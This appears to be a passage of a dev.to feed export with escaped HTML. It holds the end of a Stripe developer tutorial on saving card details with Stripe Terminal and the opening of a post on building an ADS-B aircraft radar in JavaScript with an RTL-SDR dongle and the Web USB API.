    &lt;span class="na"&gt;query&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name:&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;Hedy Lamarr&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;email:&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;hedy@lamarr.com&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will return an object containing an array of customers that match the query. From there, you can loop through the array, find your customer and their ID.&lt;br&gt;
Once you have your customer object, you can move on to saving their card details.&lt;/p&gt;
&lt;h2&gt;
  
  
  Attaching card details to a customer
&lt;/h2&gt;

&lt;p&gt;First, you need to create a &lt;a href="https://stripe.com/docs/api/setup_intents" rel="noopener noreferrer"&gt;SetupIntent&lt;/a&gt; that will collect and record the customer’s consent to have their card details saved. This will authorize the payment method with the customer’s bank so future authentication will not be needed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;intent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setupIntents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
   &lt;span class="na"&gt;payment_method_types&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;card_present&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
   &lt;span class="na"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, you need to call the &lt;code&gt;processSetupIntent&lt;/code&gt; method on the reader to collect the payment method and attach it to the customer. You need to pass it the reader ID, as well as an object containing the setup intent ID and the property &lt;code&gt;customer_consent_collected&lt;/code&gt; set to a boolean value.&lt;br&gt;
When testing, you can set this value to &lt;code&gt;true&lt;/code&gt;, however, when implementing a production-level solution, make sure to adapt your checkout flow so you can obtain consent from your customer. For example, if you have a custom UI, you can update it to collect consent and send the value &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; back to your server before continuing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;readers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;processSetupIntent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
     &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tmr_xxx&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="na"&gt;setup_intent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;intent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="na"&gt;customer_consent_collected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you do not know your terminal ID, you can find it using the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;readers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;terminal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;readers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will return an object containing an array of terminals you registered.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="nl"&gt;object&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;list&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
   &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tmr_xxx&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;object&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;terminal.reader&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;device_sw_version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2.6.2.0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;device_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bbpos_wisepos_e&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;192.000.0.00&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;label&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;my-terminal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;livemode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;location&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;tml_xxx&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt;
     &lt;span class="na"&gt;serial_number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;WSCxxx&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;online&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
 &lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="nx"&gt;has_more&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/v1/terminal/readers&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each terminal is associated with a location. Via the &lt;a href="https://dashboard.stripe.com/terminal/locations" rel="noopener noreferrer"&gt;Stripe dashboard&lt;/a&gt;, you can add metadata to the location so it becomes easier to filter through the list of devices. For example, you could add a metadata object with the key-value pair &lt;code&gt;{“reception”: 1}&lt;/code&gt; and filter the list of terminal objects to return only the one that contains &lt;code&gt;{“reception”: 1}&lt;/code&gt; in its metadata. From there, you can find the device’s ID, starting with “tmr_”.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2fdrv7x52tvhk9p6l480.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2fdrv7x52tvhk9p6l480.png" alt="Screenshot of the Stripe dashboard showing a location with a terminal instance and a metadata object with key " value="" width="800" height="594"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When the &lt;code&gt;processSetupIntent&lt;/code&gt; method is called, the terminal display updates, waiting for the customer to insert, tap or swipe their card. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fof4tkqfu710fzc5r54y8.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fof4tkqfu710fzc5r54y8.gif" alt="GIF showing the terminal display waiting for a customer to insert, tap or swipe their card." width="1024" height="1024"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally, if you want to verify that the payment method was successfully attached to the customer, you can call &lt;code&gt;listPaymentMethods&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;paymentMethods&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;customers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listPaymentMethods&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
     &lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;card&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will return an object containing an array of payment methods attached to that customer.&lt;br&gt;
Voila! Your customer’s card details are now saved for online reuse, without charging them!&lt;/p&gt;
&lt;h2&gt;
  
  
  Saving a card after payment
&lt;/h2&gt;

&lt;p&gt;When &lt;a href="https://stripe.com/docs/terminal/payments/collect-payment#create-payment" rel="noopener noreferrer"&gt;collecting payments with Terminal&lt;/a&gt;, you need to create a PaymentIntent, using &lt;code&gt;paymentIntents.create&lt;/code&gt;. This does not save the card details by default. You can change the default behavior by passing the additional properties &lt;code&gt;paymentMethod&lt;/code&gt; and &lt;code&gt;setup_future_usage&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;paymentIntent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;stripe&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;paymentIntents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
 &lt;span class="na"&gt;payment_method_types&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;card&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="na"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1099&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="na"&gt;currency&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;usd&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="na"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;customer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="na"&gt;payment_method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;paymentMethods&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="na"&gt;setup_future_usage&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;off_session&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, you should be able to update your checkout flow so you can save card details without charging them, or after payment, so your customers can reuse them online easily.&lt;/p&gt;

&lt;p&gt;Let us know if you’re implementing this, and stay up to date with Stripe developer updates on the following platforms:&lt;/p&gt;

&lt;p&gt;📣 Follow &lt;a href="https://twitter.com/stripedev" rel="noopener noreferrer"&gt;@StripeDev&lt;/a&gt; and &lt;a href="https://twitter.com/i/lists/1459720002567868418" rel="noopener noreferrer"&gt;our team&lt;/a&gt; on &lt;a href="https://twitter.com/StripeDev" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;br&gt;
📺 Subscribe to our &lt;a href="https://www.youtube.com/StripeDevelopers" rel="noopener noreferrer"&gt;Youtube channel&lt;/a&gt;&lt;br&gt;
💬 Join the official &lt;a href="https://discord.com/invite/RuJnSBXrQn" rel="noopener noreferrer"&gt;Discord server&lt;/a&gt;&lt;br&gt;
📧 Sign up for the &lt;a href="https://go.stripe.global/dev-digest" rel="noopener noreferrer"&gt;Dev Digest&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  About the author
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1n6g5avk2h7gelnfsbwe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1n6g5avk2h7gelnfsbwe.png" alt="Charlie's profile picture. She is a caucasian woman with brown hair and brown eyes. She is wearing silver glasses. She is standing in front of a plain white wall with purple lights." width="200" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://twitter.com/@devdevcharlie" rel="noopener noreferrer"&gt;Charlie Gerard&lt;/a&gt; is a Developer Advocate at Stripe, a &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;creative technologist&lt;/a&gt; and &lt;a href="https://developers.google.com/community/experts" rel="noopener noreferrer"&gt;Google Developer Expert&lt;/a&gt;. She loves researching and &lt;a href="https://charliegerard.dev/" rel="noopener noreferrer"&gt;experimenting with technologies&lt;/a&gt;. When she’s not coding, she enjoys spending time outdoors, trying new beers and reading.&lt;/p&gt;

</description>
      <category>stripe</category>
      <category>terminal</category>
      <category>payments</category>
      <category>node</category>
    </item>
    <item>
      <title>Building an aircraft radar system in JavaScript</title>
      <dc:creator>Charlie Gerard</dc:creator>
      <pubDate>Mon, 29 Aug 2022 16:00:41 +0000</pubDate>
      <link>https://dev.to/devdevcharlie/building-an-aircraft-radar-system-in-javascript-4ml8</link>
      <guid>https://dev.to/devdevcharlie/building-an-aircraft-radar-system-in-javascript-4ml8</guid>
      <description>&lt;p&gt;A few years ago, I came across &lt;a href="https://www.youtube.com/watch?v=ITMgocguzME" rel="noopener noreferrer"&gt;this awesome talk&lt;/a&gt; by &lt;a href="https://twitter.com/wa7son" rel="noopener noreferrer"&gt;Thomas Watson&lt;/a&gt; in which he talks about how he built &lt;a href="https://github.com/watson/airplanejs" rel="noopener noreferrer"&gt;AirplaneJS&lt;/a&gt;, a web app that picks up &lt;a href="https://en.wikipedia.org/wiki/Automatic_Dependent_Surveillance%E2%80%93Broadcast" rel="noopener noreferrer"&gt;ADS-B&lt;/a&gt; radio signals from airplanes and plots them in real time on a map in the browser. I had no idea this was possible in JavaScript so I started looking into it.&lt;/p&gt;

&lt;p&gt;I played around with the project and started wondering if there was a way I could push it a little bit further. Considering AirplaneJS uses Node.js on the server, I decided to experiment to see if I could make it work using Web USB to turn it into a &lt;strong&gt;front-end only project&lt;/strong&gt;. I finally got it to work a few weeks ago 🥳 so decided to write about it.&lt;/p&gt;

&lt;p&gt;I'm still learning a lot about the USB protocol and how to decode ADS-B signals so this post won't dive too deep into the topic.&lt;/p&gt;

&lt;p&gt;Before I start, here's a demo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fres.cloudinary.com%2Fdevdevcharlie%2Fimage%2Fupload%2Fv1661321970%2Frtl-sdr-tracking-live-demo-3_b61gv6.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fres.cloudinary.com%2Fdevdevcharlie%2Fimage%2Fupload%2Fv1661321970%2Frtl-sdr-tracking-live-demo-3_b61gv6.gif" alt="GIF showing a plane flying above me and the data being displayed on my laptop's screen."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's the &lt;a href="https://aircraft-radar-system.netlify.app/" rel="noopener noreferrer"&gt;link to the demo site&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The RTL-SDR dongle
&lt;/h2&gt;

&lt;p&gt;The main components of this project include the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/USB" rel="noopener noreferrer"&gt;Web USB API&lt;/a&gt;, a &lt;a href="https://www.rtl-sdr.com/buy-rtl-sdr-dvb-t-dongles/" rel="noopener noreferrer"&gt;RTL-SDR dongle + antenna&lt;/a&gt;, and some JavaScript code.&lt;/p&gt;

&lt;p&gt;Nowadays, most planes broadcast ADS-B data, that stands for Automatic Dependent Surveillance-Broadcast. It is a surveillance technology that allows aircrafts to broadcast their flight state without being interrogated to, meaning it needs no input from pilots.&lt;br&gt;
This data indicates the aircraft's location, latitude, longitude, speed, code, etc. &lt;br&gt;
They transmit this data periodically to air traffic controllers, however, using a Software Defined Radio dongle with an antenna, you can intercept these messages to make your own aircraft radar system 📡.&lt;/p&gt;

&lt;p&gt;There are different types of antennas you can buy or build but I personally used a dipole antenna.&lt;/p&gt;

&lt;p&gt;As the data is broadcasted at a frequency of 1090 MHz, the size of the dipole needs to be calculated with the following formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;In&lt;/span&gt; &lt;span class="nx"&gt;feet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="nx"&gt;Total&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;468&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;Frequency&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;MHz&lt;/span&gt; &lt;span class="c1"&gt;// Gives the total lengh of the dipole&lt;/span&gt;

&lt;span class="nx"&gt;Length&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;each&lt;/span&gt; &lt;span class="nx"&gt;branch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Total&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="o"&gt;---&lt;/span&gt;

&lt;span class="nx"&gt;In&lt;/span&gt; &lt;span class="nx"&gt;cm&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="nx"&gt;Total&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;14264&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nx"&gt;Frequency&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nx"&gt;MHz&lt;/span&gt; &lt;span class="c1"&gt;// Gives the total lengh of the dipole&lt;/span&gt;

&lt;span class="nx"&gt;Length&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;each&lt;/span&gt; &lt;span class="nx"&gt;branch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Total&lt;/span&gt; &lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There's an &lt;a href="https://www.everythingrf.com/rf-calculators/dipole-antenna-length-calculator" rel="noopener noreferrer"&gt;online calculator&lt;/a&gt; available if it's easier.&lt;/p&gt;

&lt;p&gt;For this project, it gives me a total length of roughly 13cm so each part of the dipole should be about 6.5cm.&lt;/p&gt;

&lt;h2&gt;
  
  
  Connecting to the dongle via Web USB
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/USB" rel="noopener noreferrer"&gt;Web USB API&lt;/a&gt; is a browser API that allows you to connect and communicate with devices plugged into your computer via USB.&lt;/p&gt;

&lt;p&gt;To use it, you need to start by checking if your browser supports it. You can do so with the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;usb&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;The Web USB API is supported!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;I'm afraid this won't work&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, you need to indicate which device you’d like your app to connect to. You can list all currently connected devices, or you can specify a filter in which you pass the device’s vendor ID and product ID. &lt;br&gt;
On a Mac, you can find these IDs by plugging the device into your computer, clicking on the apple icon &amp;gt; About this Mac &amp;gt; System Report, and looking in the list under Hardware &amp;gt; USB.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foyk8j8yy7xxj5v5vcehy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foyk8j8yy7xxj5v5vcehy.png" alt="Screenshot of the settings on a Mac showing details about the USB device."&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The image above indicates that the vendor ID is &lt;code&gt;0x0bda&lt;/code&gt; and the product ID is &lt;code&gt;0x2838&lt;/code&gt; so I could use that in the code.&lt;/p&gt;

&lt;p&gt;For security reasons, the Web USB API needs to be triggered by a user interaction, so I have a button on the screen to start the connection process.&lt;/p&gt;

&lt;p&gt;The first method to call on &lt;code&gt;navigator.usb&lt;/code&gt; is &lt;code&gt;requestDevice&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
